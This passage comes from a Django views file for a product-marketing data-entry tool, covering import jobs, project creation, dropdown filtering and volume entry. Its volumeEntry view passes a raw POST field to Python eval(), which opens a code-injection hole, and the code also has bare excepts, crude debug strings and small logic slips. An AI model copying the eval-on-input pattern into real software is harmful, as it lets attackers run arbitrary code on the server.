print(\"putoelquelee1\")\n\n return JsonResponse(\"getobject\", safe=False)\n except:\n print(\"putoelquelee2\")\n raise Http404\n\n def get(self, request, format=None):\n # return JsonResponse('get', safe=False)\n data = \"asd\"\n print(\"get!\")\n runvhklImport(request)\n # return Response(data, status=status.HTTP_200_OK)\n return JsonResponse(\n \" wurde addiert oder geaendert\", safe=False, status=status.HTTP_201_CREATED\n )\n\n def post(self, request, format=None):\n print(\"post!\")\n runvhklImport(request)\n\n return JsonResponse(\n \"ran import job for vhkl!\", safe=False, status=status.HTTP_201_CREATED\n )\n\n\nclass DragonImportJob(APIView):\n permission_classes = [IsAuthenticated]\n authentication_classes = [BasicAuthentication]\n\n def get_object(self, request):\n try:\n print(\"putoelquelee1\")\n\n return JsonResponse(\"getobject\", safe=False)\n except:\n print(\"putoelquelee2\")\n raise Http404\n\n def get(self, request, format=None):\n # return JsonResponse('get', safe=False)\n data = \"asd\"\n # return Response(data, status=status.HTTP_200_OK)\n return JsonResponse(\n \" wurde addiert oder geaendert\", safe=False, status=status.HTTP_201_CREATED\n )\n\n def post(self, request, format=None):\n print(\"post!\")\n runDragonImport()\n\n return JsonResponse(\n \"ran import job for Dragon!\", safe=False, status=status.HTTP_201_CREATED\n )\n\n\n\"\"\"\nURL: \nhttp://localhost:8000/ifx/productMarketing/boupEntry\n\nThis is handling the project creation step. \n\n\"\"\"\n# main screen for entering new projects via forms.\n\n\n@login_required(login_url=\"/login/\")\ndef boupEntry(request):\n # adolfRun()\n # importVrfcOohCsv()\n\n # runConfigImport()\n print(\"boup entry first\")\n # filter conditions. To Do: try catch conditions to handle misuse of URL in browser...\n enterProjectForm = EnterProjectForm()\n # applicationMainForm = ApplicationMainForm()\n mainCustomers = MainCustomers.objects.all()\n finalCustomers = FinalCustomers.objects.all()\n # distiTierOneEMSList = DistiTierOneEMS.objects.all()\n oems = OEM.objects.all()\n applicationMains = ApplicationMain.objects.all()\n applicationDetails = ApplicationDetail.objects.all()\n\n # print(\"final customers type\", type(finalCustomers), finalCustomers[0], \"type2\", type(finalCustomers[0]))\n\n # distinct only supported in PostgreSQL\n productFamiliesArray = [] # [\"dummy 12346778\"]\n\n productFamilies = dict() # [\"dummy 12346778\"]\n allProducts = Product.objects.all()\n\n for product in allProducts:\n # print(\"family description\", product.familydescription)\n if product.familyfull not in productFamilies:\n\n # if productFamilies.contains(product.familydescription):\n productFamiliesArray.append(product.familyfull)\n productFamilies[product.familyfull] = product.familydescription\n\n # Product.objects.all().distinct('familydescription') # [\"asd1\", \"asd2\", \"asd3\"]#ProductFamily.objects.all()\n\n print(\"product families type\", type(productFamilies), \"content\", productFamilies)\n salesNames = SalesName.objects.all()\n enterMainCustomerError = False\n enterFinalCustomerError = False\n salesNameError = False\n appMainError = False\n appDetailError = False\n oemNameError = False\n\n if request.method == \"POST\":\n projectForm = EnterProjectForm(request.POST)\n # applicationMain = ApplicationMainForm(request.POST)\n\n salesName = None\n mainCustomer = None\n finalCustomer = None\n appMainObj = None\n appDetailObj = None\n selectedSalesName = None\n selectedFinalCustomer = None\n selectedMainCustomer = None\n selectedTierOne = None\n selectedDistributor = None\n selectedEms = None\n vpaCustomer = False\n selectedOem = None\n\n selectedTierOneInput = request.POST.get(\"tierOne\")\n selectedDistributorInput = request.POST.get(\"distributor\")\n selectedEmsInput = request.POST.get(\"ems\")\n vpaCustomerInput = request.POST.get(\"vpaCustomer\")\n selectedOemInput = request.POST.get(\"oem\")\n\n if not selectedTierOneInput:\n print(\"missing selectedTierOneInput\", selectedTierOneInput)\n else:\n selectedTierOne = selectedTierOneInput\n print(\"selected tier one\", selectedTierOne)\n\n if not selectedDistributorInput:\n print(\"missing selectedDistributorInput\", selectedDistributorInput)\n else:\n selectedDistributor = selectedDistributorInput\n\n if not selectedEmsInput:\n print(\"missing selectedEmsInput\")\n else:\n selectedEms = selectedEmsInput\n\n if not selectedOemInput:\n print(\"missing selectedOemInput\")\n else:\n print(\"selected oem\", selectedOemInput, type(selectedOemInput))\n selectedOem = selectedOemInput\n\n if not vpaCustomerInput:\n print(\"missing vpaCustomerInput\")\n else:\n print(\"--> vpaCustomerInput\", vpaCustomerInput)\n vpaCustomer = bool(vpaCustomerInput)\n\n # get sales name\n salesNameInt = request.POST.get(\"salesName\")\n mainCustomerStr = request.POST.get(\"mainCustomer\")\n finalCustomerStr = request.POST.get(\"finalCustomer\")\n salesNameFreeTextInput = request.POST.get(\"salesNameFreeText\")\n appMainPk = request.POST.get(\"applicationMain\")\n appDetailPk = request.POST.get(\"applicationDetail\")\n print(\n \"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%5app main\",\n appMainPk,\n \"appDetailPk\",\n appDetailPk,\n )\n\n if not mainCustomerStr:\n print(\"missing mainCustomerStr\")\n enterMainCustomerError = True\n else:\n print(\"--> mainCustomerStr\", mainCustomerStr)\n\n if not enterFinalCustomerError:\n print(\"missing enterFinalCustomerError\")\n enterFinalCustomerError = True\n else:\n print(\"--> enterFinalCustomerError\", enterFinalCustomerError)\n\n print(\"%%%%---> entered sales name primary key\", salesNameInt)\n print(\n \"%%%%---> entered main and final customers str + primary key\",\n mainCustomerStr,\n \"++\",\n mainCustomer,\n \"------final\",\n finalCustomerStr,\n \"++\",\n finalCustomer,\n )\n\n print(\"enter sales name check\", salesNameFreeTextInput)\n if not request.POST.get(\"salesNameFreeText\"):\n print(\"test print A\") # gets printed when empty (NULL or \"\")\n else:\n print(\"test print B\") # gets printed when text\n salesName = SalesName.objects.get(salesName=salesNameFreeTextInput)\n\n # SAA-TC497XE-24HO400CC AA\n # try to get sales name from drop down. if not, try to use the free text input.\n if salesNameFreeTextInput == \"\":\n if salesNameInt != None:\n print(\"free text was empty!\", type(salesNameInt))\n try:\n salesName = SalesName.objects.get(pk=salesNameInt)\n salesNames = [salesName]\n selectedSalesName = salesName\n\n except ValueError:\n salesNameError = True\n else:\n salesNameError = True\n print(\"#### fatal error sales name input\")\n\n else:\n try:\n\n salesName = SalesName.objects.get(salesName=salesNameFreeTextInput)\n print(\"sales name object from free text\", salesName)\n salesNames = [salesName]\n selectedSalesName = salesName\n\n except:\n salesNameError = True\n\n # tbd if to use here get or create: infineon must decide what should be possible (eg if to allow to create new customers here or use fixed values)\n # get -> trae una instancia de la tabla. filter: trae un queryset... que es como un array de instancias de la tabla.\n try:\n print(\"--->looking for main customer with name\", mainCustomerStr)\n # mainCustomer = MainCustomers.objects.get(customerName = mainCustomerStr.strip())\n mainCustomer = MainCustomers.objects.filter(\n customerName=mainCustomerStr.strip()\n ).first()\n\n # mainCustomers = []\n # mainCustomers = [mainCustomer]\n print(\"---> got main customer obj\", mainCustomer)\n selectedMainCustomer = mainCustomer # .first()\n\n except:\n enterMainCustomerError = True\n print(\"no main customer detected\")\n\n try:\n print(\"--->looking for finalCustomer with name\", finalCustomerStr)\n\n finalCustomer = FinalCustomers.objects.filter(\n finalCustomerName=finalCustomerStr.strip()\n ).first()\n # finalCustomers = []\n # finalCustomers = [finalCustomer]\n selectedFinalCustomer = finalCustomer # .first()\n print(\"final customer\", finalCustomer, \"pk\", finalCustomer.pk)\n enterFinalCustomerError = False\n\n except:\n enterFinalCustomerError = True\n print(\"no final customer detected\")\n\n print(\"appMainPk\", appMainPk, \"appDetailPk\", appDetailPk)\n\n try:\n appMainObj = ApplicationMain.objects.get(appMainDescription=appMainPk)\n except:\n appMainError = True\n\n ## oem is optional\n print(\"selected oem input\", selectedOemInput)\n if not selectedOemInput:\n oemNameError = False\n else:\n try:\n oemObj = OEM.objects.get(oemName=selectedOemInput)\n except:\n oemNameError = True\n\n try:\n appDetaiObj = ApplicationDetail.objects.get(pk=appDetailPk)\n print(\"appDetaiObj\", appDetaiObj)\n except:\n print(\"app detail erre steeing true\")\n appDetailError = True\n\n print(\"app detail errors\", appMainError, appDetailError)\n print(\"form errors\", projectForm.errors)\n # print(\"form errors\", applicationMain.errors)\n\n print(\n salesNameError,\n enterFinalCustomerError,\n enterFinalCustomerError,\n appMainError,\n appDetailError,\n oemNameError,\n )\n\n if (\n projectForm.is_valid()\n & (salesNameError == False)\n & (enterMainCustomerError == False)\n & (enterFinalCustomerError == False)\n & (appMainError == False)\n & (appDetailError == False)\n & (oemNameError == False)\n ):\n\n project_form_result = projectForm.save(commit=False)\n valid = True\n\n # print(project_form_result)\n\n # applicationLine = project_form_result.applicationLine\n oem = project_form_result.oem\n # plausibility checks\n # combination of main and final customer exists in cube db\n ### SOP in future\n\n # same bl, application line, valid, same rfp already exist!\n print(\n \"resulting salesname\",\n salesName,\n \"selected salesname\",\n selectedSalesName,\n )\n # similar project existing\n if (\n Project.objects.filter(\n salesName=salesName,\n mainCustomer=mainCustomer,\n endCustomer=finalCustomer,\n valid=valid,\n draft=False,\n ).count()\n > 0\n ):\n print(\"project already exists\")\n notification = \"Project already exists. Please check the entered data.\"\n status = 0\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"segment\": \"boupEntry\",\n \"step\": 0,\n \"enterProjectForm\": EnterProjectForm(request.POST),\n \"salesNameError\": salesNameError,\n \"enterMainCustomerError\": enterMainCustomerError,\n \"enterFinalCustomerError\": enterFinalCustomerError,\n \"notification\": notification,\n \"mainCustomers\": mainCustomers,\n \"finalCustomers\": finalCustomers,\n \"oems\": oems,\n \"productFamilies\": productFamilies,\n \"productSeries\": productSeries,\n \"salesNames\": salesNames,\n \"selectedSalesName\": selectedSalesName,\n \"selectedFinalCustomer\": selectedFinalCustomer,\n \"selectedMainCustomer\": selectedMainCustomer,\n \"selectedOem\": selectedOem,\n \"selectedDistributor\": selectedDistributor,\n \"selectedEms\": selectedEms,\n \"selectedTierOne\": selectedTierOne,\n \"vpaCustomer\": vpaCustomer,\n },\n )\n\n else:\n project_form_result.salesName = salesName\n project_form_result.mainCustomer = mainCustomer\n project_form_result.endCustomer = finalCustomer\n\n project_form_result.applicationMain = appMainObj\n project_form_result.applicationDetail = appDetaiObj\n print(\"selected tier one\", selectedTierOne)\n\n try:\n project_form_result.oem = oemObj\n except:\n print(\"did not set oem\")\n try:\n project_form_result.distributor = selectedDistributor\n except:\n print(\"did not set disti\")\n try:\n project_form_result.tier1 = selectedTierOne\n except:\n print(\"did not set tier1\")\n\n try:\n project_form_result.ems = selectedEms\n except:\n print(\"did not set ems\")\n\n try:\n project_form_result.vpaCustomer = vpaCustomer\n except:\n print(\"did not set vpa customer\")\n\n print(\"saving form!\", project_form_result)\n project_form_result.user = request.user\n project_form_result.save()\n print(\"project\", project_form_result)\n projectId = project_form_result.id\n notification = \"Project data stored.\"\n print(notification)\n status = 1\n\n url = \"/ifx/productMarketing/boupEntry1/\" + str(\n projectId\n ) # + '/' + str(status)\n return HttpResponseRedirect(url)\n\n else:\n print(\n \"resulting salesname\",\n salesName,\n \"selected salesname\",\n selectedSalesName,\n )\n\n print(\n \"error on form processing\",\n \"vpa customer\",\n vpaCustomer,\n type(vpaCustomer),\n )\n print(\n \"selectedFinalCustomer\",\n selectedFinalCustomer,\n \"selectedMainCustomer\",\n selectedMainCustomer,\n \"selected tier one\",\n selectedTierOne,\n \"selected ems\",\n selectedEms,\n \"selected distri\",\n selectedDistributor,\n )\n notification = \"Error while loading the data\"\n productSeriesArray = []\n productSeries = dict()\n products = Product.objects.all()\n for product in products:\n if product.series not in productSeriesArray:\n productSeriesArray.append(product.series)\n productSeries[product.series] = product.seriesDescription\n\n productSeries = sorted(productSeries.items())\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"segment\": \"boupEntry\",\n \"step\": 0,\n \"enterProjectForm\": EnterProjectForm(request.POST),\n \"notification\": notification,\n \"mainCustomers\": mainCustomers,\n \"finalCustomers\": finalCustomers,\n \"oems\": oems,\n \"productFamilies\": productFamilies,\n \"productSeries\": productSeries,\n \"salesNames\": salesNames,\n \"mainCustomers\": mainCustomers,\n \"finalCustomers\": finalCustomers,\n \"salesNameError\": salesNameError,\n \"enterMainCustomerError\": enterMainCustomerError,\n \"enterFinalCustomerError\": enterFinalCustomerError,\n \"appMainError\": appMainError,\n \"appDetailError\": appDetailError,\n \"selectedSalesName\": selectedSalesName,\n \"selectedFinalCustomer\": selectedFinalCustomer,\n \"selectedMainCustomer\": selectedMainCustomer,\n \"applicationMains\": applicationMains,\n \"applicationDetails\": applicationDetails,\n \"selectedOem\": selectedOem,\n \"selectedDistributor\": selectedDistributor,\n \"selectedEms\": selectedEms,\n \"selectedTierOne\": selectedTierOne,\n \"vpaCustomer\": vpaCustomer,\n \"selectedSalesName\": selectedSalesName,\n \"oemNameError\": oemNameError,\n },\n )\n\n else:\n print(\"applicationMains\", applicationMains)\n distiTierOneEMSList = mainCustomers\n emss = distiTierOneEMSList\n distributors = distiTierOneEMSList\n tierOnes = distiTierOneEMSList\n # for initial dropdown file in, will be replaced dynamically by htmx\n # productSeries = ProductSeries.objects.all()\n print(\"appdetailerror\", appDetailError)\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 0,\n \"enterProjectForm\": enterProjectForm,\n \"mainCustomers\": mainCustomers,\n \"finalCustomers\": finalCustomers,\n \"oems\": oems,\n \"applicationMainForm\": ApplicationMainForm(request.POST),\n \"productFamilies\": productFamilies,\n \"salesNames\": salesNames,\n \"salesNameError\": salesNameError,\n \"enterMainCustomerError\": enterMainCustomerError,\n \"enterFinalCustomerError\": enterFinalCustomerError,\n \"appMainError\": appMainError,\n \"appDetailError\": appDetailError,\n \"emss\": emss,\n \"tierOnes\": tierOnes,\n \"distributors\": distributors,\n \"applicationMains\": applicationMains,\n \"applicationDetails\": applicationDetails,\n \"segment\": \"boupEntry\",\n },\n )\n\n\n# required for dynamic selection of excercises supported by java script\n\"\"\"\n@login_required(login_url=\"/login/\")\ndef dropdownApplicationDetail(request):\n data = json.loads(request.body)\n print(data)\n # get variables\n applicationMain = data['applicationMain']\n\n print(\"data json\", data)\n user = request.user\n print(\"request.user\", request.user, \"application Main\", applicationMain)\n\n # get application details\n applicationDetails = ApplicationDetail.objects.get(applicationMain=applicationMain)\n print(\"applicationDetails\", applicationDetails)\n \n return JsonResponse('app detail', safe=False)\n\"\"\"\n\n\ndef dropdownApplicationDetail(request):\n applicationMain = request.GET.get(\"applicationMain\")\n print(\"application main input\", applicationMain, \"type\", type(applicationMain))\n\n applicationMainPk = ApplicationMain.objects.get(appMainDescription=applicationMain)\n\n applicationDetailsQuery = ApplicationDetail.objects.filter(\n appMain=applicationMainPk\n )\n print(\"app detail get!!!\")\n # form = ApplicationMainForm(request.GET)\n\n applicationDetailsArray = []\n applicationDetailsDictionary = dict()\n\n if applicationDetailsQuery.count() > 0:\n for appDetail in applicationDetailsQuery:\n applicationDetailsArray.append(appDetail.appDetailDescription)\n print(\n \"got application main\",\n applicationMain,\n \"resulting query\",\n applicationDetailsQuery,\n \"resulting array\",\n applicationDetailsArray,\n )\n\n return render(\n request,\n \"productMarketing/enterProjectForm/appDetail.html\",\n {\n \"applicationDetailsArray\": applicationDetailsQuery,\n },\n )\n\n\ndef dropdownProductSeries(request):\n print(\"request get\", request.GET)\n family = request.GET.get(\"family\")\n print(\"selected prod family\", family, \"desc\")\n\n try:\n\n # get from product tables all products where product.familyfull is the selected family\n\n relevantProducts = Product.objects.filter(familyfull=family)\n print(\"---> relevant products\", relevantProducts)\n\n # since no select distinct statement avaialbale in sqllite, I have to iterate here. The goal is to get the distinct value of seriesDescription based on the selcted family.\n\n productSeriesArray = []\n productSeries = dict()\n for product in relevantProducts:\n if product.series not in productSeriesArray:\n productSeriesArray.append(product.series)\n productSeries[product.series] = product.seriesDescription\n\n productSeries = sorted(productSeries.items())\n\n print(\"resulting product series\", productSeries)\n salesNames = []\n\n return render(\n request,\n \"productMarketing/enterProjectForm/seriesSelect.html\",\n {\n \"productSeries\": productSeries,\n \"salesNames\": salesNames,\n \"family\": family,\n \"showSeriesSelect\": True,\n },\n )\n\n \"\"\"\n family = request.GET.get('family')\n print(\"selected prod family\", family, \"desc\", family.productFamilyDescription)\n \n productSeries = ProductSeries.objects.filter(productFamily = family)\n rfpA = Product.objects.filter(productfamily = family)\n ### this will filter sales names based on the list of rfp's. __in acts as an iterator...\n salesNames = SalesName.objects.filter(rfp__in=rfpA)\n print(\"-----> rfpA\", rfpA, \"resulting sales names\", salesNames)\n\n \"\"\"\n except:\n productSeriesArray = []\n productSeries = dict()\n for product in relevantProducts:\n if product.series not in productSeriesArray:\n productSeriesArray.append(product.series)\n productSeries[product.series] = product.seriesDescription\n\n productSeries = sorted(productSeries.items())\n salesNames = SalesName.objects.all()\n return render(\n request,\n \"productMarketing/enterProjectForm/seriesSelect.html\",\n {\n \"productSeries\": productSeries,\n \"salesNames\": salesNames,\n },\n )\n\n\ndef dropdownPackage(request, family):\n print(\"######### dropdownPackage\")\n series = request.GET.get(\"series\")\n print(\"family\", family, \"series\", series)\n\n relevantProducts = Product.objects.filter(familyfull=family, series=series)\n print(\"---> relevant products\", relevantProducts)\n\n # since no select distinct statement avaialbale in sqllite, I have to iterate here. The goal is to get the distinct value of packageDescription based on the selcted family AND series.\n\n packagesArray = []\n packages = dict()\n for product in relevantProducts:\n if product.package not in packagesArray:\n packagesArray.append(product.package)\n print(\"data --&&\", product.package, product.packageDescription)\n print(\"type\", type(packages))\n packages[str(product.package)] = product.packageDescription\n print(\"#####\")\n\n packages = sorted(packages.items())\n print(\"packages\", packages)\n\n # get the packages that match this series\n return render(\n request,\n \"productMarketing/enterProjectForm/packageSelect.html\",\n {\n \"packages\": packages,\n \"family\": family,\n \"series\": series,\n },\n )\n\n\ndef dropdownProductSalesName(request, family, series):\n print(\"####### dropdownProductSalesName\")\n print(\"family\", family)\n # try:\n package = request.GET.get(\"package\")\n print(\"prod series\", series)\n print(\"package\", package)\n\n rfpA = Product.objects.filter(series=series, familyfull=family, package=package)\n\n print(\"input product series\", series, \"rfp result:\", rfpA)\n # print(\"sales name result\", SalesName.objects.filter(rfp = rfpA))\n # and with in sales name\n\n salesnamesArray = []\n salesNames = dict()\n\n for product in rfpA:\n salesnameObjects = SalesName.objects.filter(rfp=product) # .order_by('-id')\n print(\"evaluating salesname\", salesnameObjects)\n\n # since no select distinct statement avaialbale in sqllite, I have to iterate here.\n # The goal is to get the distinct value of salesname based on the selected family AND series AND package.\n # be aware that product is a foreign key of sales name (one product can have multiple sales names: it's like one car is sold in China with name A and the very same car is sold\n # in USA with name B)\n\n if salesnameObjects.count() > 0:\n for salesname in salesnameObjects:\n\n if salesname not in salesnamesArray:\n salesnamesArray.append(salesname)\n # salesnames[str(product.package)] = product.packageDescription\n print(\"#####\")\n else:\n print(\"sales names are empty!!\")\n # TO DO: what to do here??\n\n # salesNames = SalesName.objects.filter(rfp=rfpA)\n return render(\n request,\n \"productMarketing/enterProjectForm/salesName.html\",\n {\n \"salesNames\": salesnamesArray,\n },\n )\n \"\"\"\n except:\n print(\"error on sales name select\")\n productSeries = ProductSeries.objects.all()\n salesNames = SalesName.objects.all()\n return render(request, \"productMarketing/enterProjectForm/salesName.html\", {'salesNames': salesNames,})\n \"\"\"\n\n\n\"\"\"\nStep 2: volume (quantities) entry\nhttp://localhost:8000/ifx/productMarketing/boupEntry1/3\n\"\"\"\n\n# volume entry (manual, yearly)\n\n\ndef volumeEntry(request, projectId):\n print(\"########### volume entry screen\")\n project = Project.objects.get(id=projectId)\n user = request.user\n volumeForm = EnterVolumeFormStandalone()\n volumeAutomaticForm = EnterVolumeAutomaticForm(project=projectId)\n startOfProduction = project.estimatedSop\n # the project id is passed in the request\n\n if request.method == \"POST\":\n print(\"req post\", request.POST)\n\n volumeForm = EnterVolumeFormStandalone(request.POST)\n volumeAutomaticForm = EnterVolumeAutomaticForm(request.POST, project=projectId)\n print(\"volumeFormInput\", volumeForm)\n os = operatingSystem.macOs\n manualEntryInput = request.POST.get(\"manualEntry\")\n\n # watchout depending on how this crap is entered, the values come as none, bool or string! wtf\n\n manualEntry = False\n if manualEntryInput != None:\n manualEntry = eval(manualEntryInput)\n\n print(\"manual entry?\", manualEntry, type(manualEntry))\n excelData = request.POST.get(\"excelData\")\n print(\"excelData?\", excelData)\n excelDataCustomer = request.POST.get(\"excelDataCustomer\")\n # to do: error if decimal volumes...\n\n # check if excel copy & paste has data, then check if conflicting inputs (excel has data, manual entry is true, etc)\n if excelData:\n excelData = excelData.strip()\n\n years, outputData, errorMutableSequence = checkExcelFormInput(\n excelData=excelData,\n dataType=TypeOfParameter.volumes,\n sop=project.estimatedSop,\n )\n if len(errorMutableSequence) == 0:\n volumes = outputData\n print(len(years))\n volumesPost = []\n for i in range(0, (len(years)), 1):\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=int(years[i])\n )\n object.quantity = int(volumes[i])\n object.save()\n volumesPost.append(int(volumes[i]))\n print(created, \"---> volume object,\", object)\n\n # entries for table projectVolumeMonth with poisson distribution\n\n year = 0\n monthVolume = linSmoother(years[0], years[-1], volumes)\n print(\"months:\", len(monthVolume), \"years\", years, \"last\", years[-1])\n for i in range(0, (len(years)) * 12, 1):\n\n if i != 0 and i % 12 == 0:\n # print(int(years[year]), \"----\", int(volumes[i]))\n year = year + 1\n month = (i % 12) + 1 # +1 so we dont have the 0th month\n volumeObjectM, created = ProjectVolumeMonth.objects.get_or_create(\n project=project, calenderYear=int(years[year]), month=month\n )\n volumeObjectM.quantity = monthVolume[i]\n volumeObjectM.save()\n # volumesPost.append(f(int(years[0])+0.5+(i/12)))\n print(i)\n print(created, \"---> volume month object,\", volumeObjectM)\n\n # prepare the volume confirmation form\n firstYear = years[0]\n lastYear = years[len(years) - 1]\n deltaYears = int(firstYear) - 2020\n print(\"pre volumes array\", volumesPost)\n print(\"last year\", lastYear)\n if deltaYears > 0:\n for i in range(0, deltaYears, 1):\n volumesPost.insert(0, 0)\n\n deltaYearsEnd = 2045 - int(lastYear)\n print(\"deltaYearsEnd\", deltaYearsEnd, deltaYearsEnd > 0)\n\n if deltaYearsEnd > 0:\n for i in range(0, deltaYearsEnd, 1):\n volumesPost.append(0)\n print(\"##\")\n\n yearsInForm = [\n 2020,\n 2021,\n 2022,\n 2023,\n 2024,\n 2025,\n 2026,\n 2027,\n 2028,\n 2029,\n 2030,\n 2031,\n 2032,\n 2034,\n 2035,\n 2036,\n 2037,\n 2038,\n 2039,\n 2040,\n 2041,\n 2042,\n 2043,\n 2044,\n 2045,\n ]\n\n print(\"resulting volumes array\", volumesPost)\n\n p20 = volumesPost[0]\n p21 = volumesPost[1]\n p22 = volumesPost[2]\n p23 = volumesPost[3]\n p24 = volumesPost[4]\n p25 = volumesPost[5]\n p26 = volumesPost[6]\n p27 = volumesPost[7]\n p28 = volumesPost[8]\n p29 = volumesPost[9]\n p30 = volumesPost[10]\n p31 = volumesPost[11]\n p32 = volumesPost[12]\n p33 = volumesPost[13]\n p34 = volumesPost[14]\n p35 = volumesPost[15]\n p36 = volumesPost[16]\n p37 = volumesPost[17]\n p38 = volumesPost[18]\n p39 = volumesPost[19]\n p40 = volumesPost[20]\n\n volumeForm2 = EnterVolumeFormStandalone(\n initial={\n \"v20\": p20,\n \"v21\": p21,\n \"v22\": p22,\n \"v23\": p23,\n \"v24\": p24,\n \"v25\": p25,\n \"v26\": p26,\n \"v27\": p27,\n \"v28\": p28,\n \"v29\": p29,\n \"v30\": p30,\n \"v31\": p31,\n \"v32\": p32,\n \"v33\": p33,\n \"v34\": p34,\n \"v35\": p35,\n \"v36\": p36,\n \"v37\": p37,\n \"v38\": p38,\n \"v39\": p39,\n \"v40\": p40,\n }\n )\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 1,\n \"volumeForm\": volumeForm2,\n \"volumeAutomaticForm\": volumeAutomaticForm,\n \"startOfProduction\": startOfProduction,\n \"projectId\": projectId,\n \"volumeConfirmation\": True,\n },\n )\n\n # check if excel copy & paste has data, then check if conflicting inputs (excel has data, manual entry is true, etc)\n if excelDataCustomer:\n excelDataCustomer = excelDataCustomer.strip()\n\n years, outputData, errorMutableSequence = checkExcelFormInput(\n excelData=excelData,\n dataType=TypeOfParameter.volumes,\n sop=project.estimatedSop,\n )\n if len(errorMutableSequence) == 0:\n volumes = outputData\n\n volumesPost = []\n print(\"len volumes, len years\", len(volumes), len(years))\n for i in range(0, (len(years)), 1):\n print(int(years[i]), \"----\", int(volumes[i]))\n\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=int(years[i])\n )\n object.quantity = int(volumes[i])\n object.save()\n \"\"\"\n volumeCustomerObject, created = ProjectVolumeCustomerEstimation.objects.get_or_create(project = project, calenderYear = int(years[i]))\n volumeCustomerObject.quantity = int(volumes[i])\n volumeCustomerObject.save()\n volumesPost.append(int(volumes[i]))\n \"\"\"\n print(created, \"---> volume Customer object,\", object)\n\n # prepare the volume confirmation form\n firstYear = years[0]\n lastYear = years[len(years) - 1]\n deltaYears = int(firstYear) - 2020\n print(\"pre volumes array\", volumesPost)\n print(\"last year\", lastYear)\n if deltaYears > 0:\n for i in range(0, deltaYears, 1):\n volumesPost.insert(0, 0)\n\n deltaYearsEnd = 2045 - int(lastYear)\n print(\"deltaYearsEnd\", deltaYearsEnd, deltaYearsEnd > 0)\n\n if deltaYearsEnd > 0:\n for i in range(0, deltaYearsEnd, 1):\n volumesPost.append(0)\n print(\"##\")\n\n yearsInForm = [\n 2020,\n 2021,\n 2022,\n 2023,\n 2024,\n 2025,\n 2026,\n 2027,\n 2028,\n 2029,\n 2030,\n 2031,\n 2032,\n 2034,\n 2035,\n 2036,\n 2037,\n 2038,\n 2039,\n 2040,\n 2041,\n 2042,\n 2043,\n 2044,\n 2045,\n ]\n\n print(\"resulting volumes array\", volumesPost)\n\n p20 = volumesPost[0]\n p21 = volumesPost[1]\n p22 = volumesPost[2]\n p23 = volumesPost[3]\n p24 = volumesPost[4]\n p25 = volumesPost[5]\n p26 = volumesPost[6]\n p27 = volumesPost[7]\n p28 = volumesPost[8]\n p29 = volumesPost[9]\n p30 = volumesPost[10]\n p31 = volumesPost[11]\n p32 = volumesPost[12]\n p33 = volumesPost[13]\n p34 = volumesPost[14]\n p35 = volumesPost[15]\n p36 = volumesPost[16]\n p37 = volumesPost[17]\n p38 = volumesPost[18]\n p39 = volumesPost[19]\n p40 = volumesPost[20]\n\n volumeForm2 = EnterVolumeFormStandalone(\n initial={\n \"v20\": p20,\n \"v21\": p21,\n \"v22\": p22,\n \"v23\": p23,\n \"v24\": p24,\n \"v25\": p25,\n \"v26\": p26,\n \"v27\": p27,\n \"v28\": p28,\n \"v29\": p29,\n \"v30\": p30,\n \"v31\": p31,\n \"v32\": p32,\n \"v33\": p33,\n \"v34\": p34,\n \"v35\": p35,\n \"v36\": p36,\n \"v37\": p37,\n \"v38\": p38,\n \"v39\": p39,\n \"v40\": p40,\n }\n )\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 1,\n \"volumeForm\": volumeForm2,\n \"volumeAutomaticForm\": volumeAutomaticForm,\n \"startOfProduction\": startOfProduction,\n \"projectId\": projectId,\n \"volumeConfirmation\": True,\n },\n )\n\n ###\n if manualEntry == True:\n if volumeForm.is_valid():\n volumeFormResult = volumeForm # .save(commit=False)\n print(\"volume form\", volumeForm)\n\n # create entries in volume table\n # comment FF: control removed as to allow to continue with a paused data entry (draft)\n \"\"\"\n if ProjectVolume.objects.filter(project=project, draft=False).exists():\n print(\"volume entry already exists, wtf! you should be modifying the project instead!\")\n notification = \"Project already exists! (combination of customer and sales name) Try modifying it! Or contact support - ifxsupport@alfa-ai.com\"\n return render(request, \"productMarketing/entryStep1.html\", {'volumeForm': volumeForm, \"notification\": notification,})\n\n else:\n \"\"\"\n print(\"creating volume entries\")\n # counter starts in 2020\n year = 2020\n\n for key, value in volumeFormResult.cleaned_data.items():\n print(\"key\", key, \"value\", value)\n if value != None:\n\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=year\n )\n object.quantity = value\n object.user = user\n object.save()\n year = year + 1\n\n # volumeObject, created = ProjectVolume.objects.get_or_create(project = project, calenderYear = year, quantity = value)\n # volumeObject.quantity = value\n # print(\"volume object\", volumeObject, \"key\", key, \"quantity\", value)\n # volumeObject.user = user\n # year = year + 1\n # volumeObject.save()\n else:\n\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=year\n )\n object.quantity = 0\n object.user = user\n object.save()\n year = year + 1\n\n \"\"\"\n volumeObject, created = ProjectVolume.objects.get_or_create(project = project, calenderYear = year)\n print(\"volume object\", volumeObject, \"key\", key, \"quantity\", value)\n volumeObject.quantity = 0\n volumeObject.user = user\n year = year + 1 \n volumeObject.save()\n \"\"\"\n print(\"redirecting...\")\n url = \"/ifx/productMarketing/boupEntry2/\" + str(projectId)\n return HttpResponseRedirect(url)\n else:\n print(\"volume form errors\", volumeForm.errors)\n\n # interpolation!!\n else:\n print(\"starting interpolation routine!!!\")\n # volumeAutomaticForm.startOfProduction\n sop = request.POST.get(\"startOfProduction\")\n # volumeAutomaticForm.endOfProduction\n eop = request.POST.get(\"endOfProduction\")\n # volumeAutomaticForm.initialVolume\n initialVolume = request.POST.get(\"initialVolume\")\n # volumeAutomaticForm.peakVolume\n peakVolume = request.POST.get(\"peakVolume\")\n # volumeAutomaticForm.peakYear\n peakYear = request.POST.get(\"peakYear\")\n # volumeAutomaticForm.distributionType\n distributionType = request.POST.get(\"distributionType\")\n totalVolume = request.POST.get(\"totalVolume\")\n print(\n \"sop, eop, initialVolume, peakVolume, peakYear, distributionType, totalVolume--------->\",\n sop,\n eop,\n initialVolume,\n peakVolume,\n peakYear,\n distributionType,\n totalVolume,\n )\n\n # if fields are empty, or total volume is 0, return on error\n\n if 